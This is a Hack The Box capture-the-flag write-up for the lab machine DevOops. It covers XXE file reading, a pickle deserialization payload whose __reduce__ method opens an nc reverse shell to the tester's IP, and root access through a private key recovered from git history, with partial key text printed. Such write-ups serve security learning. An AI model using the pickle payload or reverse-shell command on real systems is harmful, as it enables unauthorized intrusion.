

Hack The Box Write-up - DevOops

=====

🕒 7 minute read ✎ Published: 13 Oct, 2018

> Write-up for the machine DevOops from Hack The Box. The box is Python-focused
> and illustrates nicely the various kinds of mistakes you can make when using
> Python libraries carelessly. XML parsing is vulnerable to XXE, giving access to
> source code. The source reveals that pickle is used to parse user input, which
> turns into RCE as an unprivileged user. From there, searching the history of a
> git repository left on the box exposes a deleted private key, which can be used
> to SSH in with root. There is an unintended shortcut since the SSH key of the
> unprivileged user is accessible via XXE, but I ignore this way in for this
> write-up.

► Table of Contents


Enumeration

=====

Port scan

Start with a fast standard port scan and you find only two open ports:

```
$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.91
...
Discovered open port 22/tcp on 10.10.10.91
Discovered open port 5000/tcp on 10.10.10.91
```


A targeted ``nmap`` scan confirms SSH on port 22 and identifies port 5000 as a Python web server, running [gunicorn](#) :

```
$ nmap -sV -sC -p 22,5000 10.10.10.91
...
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256  b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256  d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp  open  http      Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
```


Inspecting gunicorn

First, start ``wfuzz`` to have it running in the background. It will find all the necessary endpoints quickly:

```
$ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium
...
000126:  C=200   1815 L    15336 W      546263 Ch      "feed"
000366:  C=200     0 L      39 W       347 Ch      "upload"
019602:  C=405     4 L      23 W       178 Ch      "newpost"
```

Visiting the main home page at "<http://10.10.10.91:5000>"  returns a simple page, indicating the homepage is under development (see HTML below). There are no links to the endpoints we discover via fuzzing. Nevertheless, note that the page suggests the source code should be in a file called "feed.py". This will come in handy later:

```
<html>
  <body>
    Under construction!<br>
    <p>
      This is feed.py, which will become the MVP for Blogfeeder application.
    </p>
    <p>
      TODO: replace this with the proper feed from the dev.solita.fi backend.
    </p>
    <p>
      
    </p>
  </body>
</html>
```

At "<http://10.10.10.91:5000/upload>"  is a file upload, which wants you to upload XML files with the fields "Author", "Subject" and "Content". We can test the endpoint by crafting a sample XML file:

```
<?xml version="1.0"?>
<body>
  <Author>auth</Author>
  <Subject>subj</Subject>
```


```
<Content>cont</Content>
</body>
```

On upload the page returns a confirmation that it successfully processed the file:

```
PROCESSED BLOGPOST:
Author: auth
Subject: subj
Content: cont
URL for later reference: /uploads/file.xml
File path: /home/roosa/deploy/src
```

It also returns the path “/home/roosa/deploy/src”, which sounds a lot like the deployed source code should live here.

Reading files with XXE

It is interesting that the upload confirmation contains the content of the uploaded XML. If we could inject XML entities, it would be possible to read local files from the system, such as the source code of the application. In Python, it is very easy to accidentally use an XML parser vulnerable to it if you do not read the [docs](#)  carefully. For example, just writing `import xml.sax` and using its `make_parser` method is enough to build a parser which is vulnerable by default.

A simple test is the XML payload below. It injects then contents “cont” as an XML entity named “example” into the document. If entity injection works, the output

should not change:

```
<?xml version="1.0"?>
<!DOCTYPE replace [
```

Indeed, the endpoint shows the exact same confirmation message as before. Reading files now works like so:


```
<?xml version="1.0"?>
<!DOCTYPE replace [
```

This payload produces the following confirmation method, truncated for readability:

```
PROCESSED BLOGPOST:
Author: auth
Subject: subj
Content: root:x:0:0:root:/root:/bin/bash
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
...
```

Remember that the source code should live in a file called "feed.py", and in a directory called "/home/roosa/deploy/src"? We can use this knowledge to read it with XXE. Request "/home/roosa/deploy/src/feed.py" and you get the source.

It discloses two things of relevance. One is that there was a debugconsole for development, but it seems to be disabled. Keep it in mind and ignore all other hints for the debug console you may find on the box. The other is how the endpoint "<http://10.10.10.91/newpost>"  works:

```
...
@app.route("/newpost", methods=["POST"])
def newpost():
    # TODO: proper save to database, this is for testing purposes right now
    picklestr = base64.urlsafe_b64decode(request.data)
    # return picklestr
    postObj = pickle.loads(picklestr)
    return "POST RECEIVED: " + postObj['Subject']

## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
```

```
if __name__ == "__main__":  
    app.run(host='0.0.0.0', Debug=True)
```

RCE with pickle

The snippet above shows how the request data is fed into [pickle](#), a Python module for serialization of Python objects. It can be very useful but is not meant to be used on untrusted input, as the big red box in the Python docs indicates.

Exploiting pickle to get code execution is [very easy](#). But first, we start by getting the basics right and craft a working payload. The code expects a base64-encoded pickle string, turns it into an object, apparently expecting a Python dictionary. It then reads the 'Subject' item and returns that as text. The following code snippet produces a valid payload:

```
import cPickle  
import base64  
  
post = {'Subject': "mynewpost"}  
  
payload = cPickle.dumps(post)  
encoded = base64.urlsafe_b64encode(payload)  
print(encoded)
```

Submitting it returns the expected response:

```
$ curl -X POST -H "Content-Type: text/plain" -d "$(python make_post.py)" http://:
POST RECEIVED: mynewpost
```

Time to modify the pickle string such that we get a shell. We use the [__reduce__](#) method for it, which is a special method allowing custom Python objects to declare how they can be reconstructed. Basically, you return a function and arguments, and they will be executed when Python tries to deserialize the object. You can just make it execute a shell command:

```
import os
import cPickle
import base64

cmd = 'rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.15.130 9000 >/dev

class MyClass(object):
    def __reduce__(self):
        return (os.system, (cmd,))


payload = cPickle.dumps(MyClass())
encoded = base64.urlsafe_b64encode(payload)
print(encoded)
```

Submit it like the payload before, and don't forget to listen on 9000. The upload will hang and you get a shell:


```
$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.130] from (UNKNOWN) [10.10.10.91] 52904
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)
```

On the system

=====

We have a shell with the user “roosa”, which seems to be in group “sudo”. Thus, one thing to try is to upgrade the shell to a fully interactive TTY as described [here](#) . Then try ``sudo -l`` to see what you can do. For me though, this command just hang longer than I was willing to wait.

Anyways, just looking around in the home directory of “roosa” reveals an interesting folder with source code and, most interestingly, an RSA key:

```
roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApC7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
...
T3Sd/6nWVzi1F016KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6ji0og
bU34EzQLp7oRU/TK06Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
```

Looking further, we see it is a git repository:

```
roosa@gitter:~/work/blogfeed$ ll
total 28
drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 ./
drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ../
drwxrwx--- 8 roosa roosa 4096 Oct  1 15:58 .git/
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources/
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh*
drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src/
```

Checking out the commit log with `git log` there are a couple of interesting messages:

```
...
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkersson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400
```

```
    reverted accidental commit with proper key
```

```
...
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkersson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400
```

```
    add key for feed integration from tnerprise backend
```

It seems as if there was a wrong key committed to the repo, which then got changed to the current one. Comparing commits shows this theory is correct:

```
roosa@gitter:~/work/blogfeed/src$ git diff HEAD~~~~~ HEAD~~~~~
diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
-MIIEEgIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+0PQcp0Vj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
...
-LWXPaoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
-oAvexd1JRMkbC7Y0grzZ9i0xHP+mg/LLENmHimcyKCqaY3XzqXqk9l0hA3ym0cLw
-LS407JPRqVmgZzUUnDiAVuUHWuHGGXpwpz9EGau6dIbQaUUS0EE=
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
+ouoroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAws53MYS7m67bCZh9Bj21+E4fz/uwDSE
...
+T3Sd/6nWVzi1F016KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6ji0og
+bU34EzQLp7oRU/TK06Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
```

Now we have two RSA keys, which I call “existing-key.key” and “deleted-key.key”. Try using them to log in via SSH, and you will find the deleted key works for root. You can then get the flag:

```
$ ssh -i deleted-key.key root@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
```

```
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage
```

```
135 packages can be updated.
60 updates are security updates.
```

```
Last login: Mon Oct  1 16:36:38 2018 from 10.10.14.4
root@gitter:~# id
uid=0(root) gid=0(root) groups=0(root)
root@gitter:~# cat /root/root.txt
<root-flag-here>
```

References

=====:

- [Comparison](#) of Python XML parsers with regards to XXE. The gist is to use either ``minidom`` or ``etree``. However, note the Python docs themselves still list some DOS vulnerabilities for those: [docs]
[<https://docs.python.org/2/library/xml.html#xml-vulnerabilities>]
- Regarding pickle on untrusted input, there are [ways](#) to restrict pickle such that certain attacks are prevented. Personally, I would not trust these solutions and rather just use another format, even if it means writing more code.
- Other [write-up](#) showing how to use the unintended way.
- Video [walkthrough](#) by ippsec.

Published by Dominic Breuker 13 Oct, 2018 in [hackthebox](#) and tagged [ctf](#), [hackthebox](#), [infosec](#) and [write-up](#) using 1441 words.

Related Content

- [Hack The Box Write-up - Sunday](#) - 8 minutes
- [Hack The Box Write-up - SolidState](#) - 12 minutes
- [Hack The Box Write-up - Calamity](#) - 10 minutes
- [flaws.cloud - Level 2](#) - 8 minutes
- [Steganography challenge - The Book of Secrets](#) - 10 minutes